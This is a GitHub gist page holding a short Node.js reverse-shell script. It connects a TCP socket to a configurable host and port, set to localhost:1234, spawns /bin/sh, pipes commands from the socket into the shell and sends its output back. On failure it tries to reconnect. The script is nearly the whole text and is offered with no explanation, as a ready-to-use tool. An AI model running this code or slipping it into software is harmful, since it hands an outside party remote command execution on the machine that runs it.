Skip to content

Instantly share code, notes, and snippets.

@ahhh
Created December 27, 2015 17:54
Show Gist options
  • Save ahhh/428c03af64ac10dcd44b to your computer and use it in GitHub Desktop.
Save ahhh/428c03af64ac10dcd44b to your computer and use it in GitHub Desktop.
var net = require('net');
var spawn = require('child_process').spawn;
HOST="localhost";
PORT="1234";
TIMEOUT="5000";
function c(HOST,PORT) {
var client = new net.Socket();
client.connect(PORT, HOST, function() {
var sh = spawn('/bin/sh',[]);
client.write("Connected\r\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
});
client.on('error', function(e) {
setTimeout(c(HOST,PORT), TIMEOUT);
});
}
c(HOST,PORT);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment